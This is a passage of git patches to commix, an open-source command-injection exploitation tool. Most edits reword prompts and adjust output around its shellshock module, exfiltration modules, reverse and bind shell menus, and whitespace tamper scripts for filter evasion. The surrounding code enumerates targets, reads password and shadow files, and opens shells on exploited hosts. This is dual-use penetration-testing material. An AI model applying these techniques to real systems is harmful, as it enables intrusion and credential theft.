"Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False @@ -542,18 +543,14 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if not menu.file_access_options() and not menu.options.os_cmd: - if not settings.VERBOSITY_LEVEL != 0 and new_line: - print(settings.SINGLE_WHITESPACE) - # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) break elif file_access_again in settings.CHOICE_NO: @@ -575,10 +572,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) try: # Pseudo-Terminal shell @@ -591,7 +584,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.SINGLE_WHITESPACE) if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 34e1aa2c08..f09f0ec1ec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -541,6 +541,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL <= 1: print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(output)) + print(settings.SINGLE_WHITESPACE) else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) @@ -550,17 +551,23 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - + if settings.ENUMERATION_DONE: + settings.ENUMERATION_DONE = False + if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + if settings.ENUMERATION_DONE == True: + print(settings.SINGLE_WHITESPACE) powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True + if settings.ENUMERATION_DONE == False: + settings.ENUMERATION_DONE = True if menu.options.hostname: if settings.ENUMERATION_DONE == True: print(settings.SINGLE_WHITESPACE) hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True + if settings.ENUMERATION_DONE == False: + settings.ENUMERATION_DONE = True if menu.options.current_user: if settings.ENUMERATION_DONE == True: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 9dedbf135b..bc848a3aef 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -141,7 +141,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, cmd = "'" + cmd + "'" dest_to_write = path + "\\" + filname else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write + cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 46f957538e..96cd13a702 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -458,18 +458,19 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.TARGET_OS == "win": time.sleep(1) - new_line = False + new_line = True # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: - new_line = True + new_line = False break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -482,20 +483,20 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : - print(settings.SINGLE_WHITESPACE) + if settings.ENUMERATION_DONE == True and new_line: + print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - if not new_line: - new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -506,6 +507,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass else: + print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. @@ -520,9 +522,6 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if not new_line : - print(settings.SINGLE_WHITESPACE) - try: # Pseudo-Terminal shell go_back = False @@ -530,7 +529,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 643403a2b8..50739f4335 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -105,7 +105,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " gotshell = _common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") @@ -125,7 +125,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): elif cmd.lower() == "?": menu.os_shell_options() elif cmd.lower() == "os_shell": - warn_msg = "You are already into the '" + cmd.lower() + "' mode." + warn_msg = "You are into the '" + cmd.lower() + "' mode." print(settings.print_warning_msg(warn_msg))+ "\n" elif cmd.lower() == "reverse_tcp": warn_msg = "This option is not supported by this module." diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 6aa656162e..5a45db8d81 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -140,7 +140,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " gotshell = _common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") @@ -160,7 +160,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): elif cmd.lower() == "?": menu.os_shell_options() elif cmd.lower() == "os_shell": - warn_msg = "You are already into the '" + cmd.lower() + "' mode." + warn_msg = "You are into the '" + cmd.lower() + "' mode." print(settings.print_warning_msg(warn_msg))+ "\n" elif cmd.lower() == "reverse_tcp": warn_msg = "This option is not supported by this module." diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 8f84a3c02d..100625df54 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -581,7 +581,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r # The "os_shell" option elif os_shell_option == "os_shell": - warn_msg = "You are already into the '" + os_shell_option + "' mode." + warn_msg = "You are into the '" + os_shell_option + "' mode." print(settings.print_warning_msg(warn_msg))+ "\n" # The "bind_tcp" option @@ -706,10 +706,10 @@ def shellshock_handler(url, http_request_method, filename): # Enumeration options. if settings.ENUMERATION_DONE == True : - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) @@ -728,7 +728,7 @@ def shellshock_handler(url, http_request_method, filename): # File access options. if settings.FILE_ACCESS_DONE == True : while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) @@ -747,8 +747,8 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL <= 1: + # print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) raise SystemExit() @@ -760,7 +760,7 @@ def shellshock_handler(url, http_request_method, filename): while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index a7794af825..d362a27f1f 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -30,7 +30,7 @@ """ def shell_options(option): if option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." + warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() @@ -464,7 +464,7 @@ def bind_tcp_options(separator): \ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) if bind_tcp_option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + bind_tcp_option.lower() + "' mode." + warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue @@ -506,7 +506,7 @@ def configure_bind_tcp(separator): sys.stdout.write(settings.BIND_TCP_SHELL) option = _input() if option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." + warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue elif option.lower() == "?": diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 208407b0a3..1106bec498 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -35,7 +35,7 @@ """ def shell_options(option): if option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." + warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() @@ -678,7 +678,7 @@ def reverse_tcp_options(separator): \ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) if reverse_tcp_option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + reverse_tcp_option.lower() + "' mode." + warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue @@ -719,7 +719,7 @@ def configure_reverse_tcp(separator): sys.stdout.write(settings.REVERSE_TCP_SHELL) option = _input() if option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." + warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue if option.lower() == "?": diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index 1c64f58eb7..5fb02052cf 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -21,13 +21,17 @@ """ __tamper__ = "space2htab" +space2htab = "%09" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%09" - else: - settings.WHITESPACES.append("%09") + settings.WHITESPACES[0] = space2htab + elif space2htab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2htab) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 922c79c4f5..680ae99265 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -13,8 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys -from src.utils import menu from src.utils import settings """ @@ -25,15 +23,21 @@ """ __tamper__ = "space2ifs" +space2ifs = "${IFS}" def tamper(payload): + if space2ifs in settings.WHITESPACES[0] and \ + settings.EVAL_BASED_STATE != False: + settings.WHITESPACES[0] = "\${IFS}" if settings.TARGET_OS != "win": settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "${IFS}" - else: - settings.WHITESPACES.append("${IFS}") - + settings.WHITESPACES[0] = space2ifs + elif space2ifs not in settings.WHITESPACES: + settings.WHITESPACES.append(space2ifs) + else: + if space2ifs in settings.WHITESPACES: + settings.WHITESPACES.remove(space2ifs) return payload # eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 49c288677e..e969ddb9b4 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -21,6 +21,7 @@ """ __tamper__ = "space2plus" +space2plus = "+" if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True @@ -28,10 +29,9 @@ def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "+" - else: - settings.WHITESPACES.append("+") - + settings.WHITESPACES[0] = space2plus + elif space2plus not in settings.WHITESPACES: + settings.WHITESPACES.append(space2plus) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 7e2bfca0f9..f2e9057300 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -21,15 +21,21 @@ """ __tamper__ = "space2vtab" +space2vtab = "%0b" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): if settings.TARGET_OS == "win": settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%0b" - else: - settings.WHITESPACES.append("%0b") - + settings.WHITESPACES[0] = space2vtab + elif space2vtab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2vtab) + else: + if space2vtab in settings.WHITESPACES: + settings.WHITESPACES.remove(space2vtab) return payload # eof \ No newline at end of file diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 5aa1802364..f91f9ec67e 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -277,10 +277,9 @@ def injection_point_exportation(url, http_request_method): def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: - info_msg = "A previously stored session has been held against that host." - print(settings.print_info_msg(info_msg)) while True: - message = "Do you want to resume to the " + message = "A previously stored session has been held against that host. " + message += "Do you want to resume to the " message += "(" + injection_type.split(" ")[0] + ") " message += technique.rsplit(' ', 2)[0] message += " injection point? [Y/n] > " diff --git a/src/utils/settings.py b/src/utils/settings.py index 9e201716fc..2df0c86364 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "67" +REVISION = "68" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From dbcf2b25af05c3721c60c555dc851d7190aa63fc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 23 May 2022 08:06:09 +0300 Subject: [PATCH 0145/1023] Improvement regarding shellshock module --- doc/CHANGELOG.md | 1 + .../techniques/classic/cb_handler.py | 2 +- src/core/main.py | 7 +- src/core/modules/shellshock/shellshock.py | 290 +++++++++--------- src/core/shells/bind_tcp.py | 1 + src/core/shells/reverse_tcp.py | 1 + src/txt/shocker-cgi_list.txt | 1 + src/utils/settings.py | 2 +- 8 files changed, 149 insertions(+), 156 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index da59613613..7e842e4568 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvement regarding shellshock module. * Added: Support regarding parsing target(s) from piped-input (i.e. stdin). * Added: New option `--answers` to set user answers to asked questions during commix run. * Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 5e7079e6fe..425c6da347 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -437,7 +437,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False - else : + else: sys.stdout.write("\r") sys.stdout.flush() diff --git a/src/core/main.py b/src/core/main.py index 8e7df4fdaa..b322bd6d22 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -543,7 +543,7 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile: + if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): @@ -829,7 +829,8 @@ def main(filename, url): url_num += 1 output_href = output_href + bulkfile output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] - output_href = crawler.normalize_results(output_href) + if not menu.options.shellshock: + output_href = crawler.normalize_results(output_href) settings.CRAWLING_PHASE = False else: filename = None @@ -859,7 +860,7 @@ def main(filename, url): url_num = 0 for url in clean_output_href: http_request_method = check_http_method(url) - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 100625df54..4cb7296c0a 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -74,9 +74,8 @@ def enumeration(url, cve, check_header, filename): cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg = "The hostname is " + str(shell) + "." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -104,9 +103,8 @@ def enumeration(url, cve, check_header, filename): target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_arch: info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) + "." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -115,9 +113,8 @@ def enumeration(url, cve, check_header, filename): output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - info_msg = "The underlying operating system is " + target_os - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg = "The underlying operating system is " + target_os + "." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -150,29 +147,26 @@ def enumeration(url, cve, check_header, filename): output_file.close() if shell: if shell != "0": - sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() + print(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" and it is not privileged.\n") output_file.close() else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() + print(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" and it is privileged.\n") output_file.close() else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The current user is " + str(cu_account) + "." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" + info_msg = "The current user is " + str(cu_account) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -203,7 +197,7 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -218,9 +212,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.SINGLE_WHITESPACE) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -283,7 +277,7 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") sys.stdout.flush() @@ -292,9 +286,8 @@ def enumeration(url, cve, check_header, filename): except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "'." + print(settings.print_warning_msg(warn_msg)) pass settings.ENUMERATION_DONE = True @@ -316,9 +309,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.SINGLE_WHITESPACE) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -368,7 +361,6 @@ def file_access(url, cve, check_header, filename): if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): @@ -377,8 +369,7 @@ def file_access(url, cve, check_header, filename): content = "".join(str(p) for p in content).replace("'", "\"") else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) settings.FILE_ACCESS_DONE = True #------------------------------- @@ -404,9 +395,8 @@ def file_access(url, cve, check_header, filename): print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" - warn_msg += dest_to_write + "' file." + "\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += dest_to_write + "' file." + print(settings.print_warning_msg(warn_msg)) settings.FILE_ACCESS_DONE = True #------------------------------------- @@ -419,9 +409,8 @@ def file_access(url, cve, check_header, filename): _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as warn_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, " - warn_msg += "does not exist. (" + str(warn_msg) + ")\n" - sys.stdout.write(settings.print_critical_msg(warn_msg)) - sys.stdout.flush() + warn_msg += "does not exist. (" + str(warn_msg) + ")" + print(settings.print_critical_msg(warn_msg)) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] @@ -451,9 +440,8 @@ def file_access(url, cve, check_header, filename): 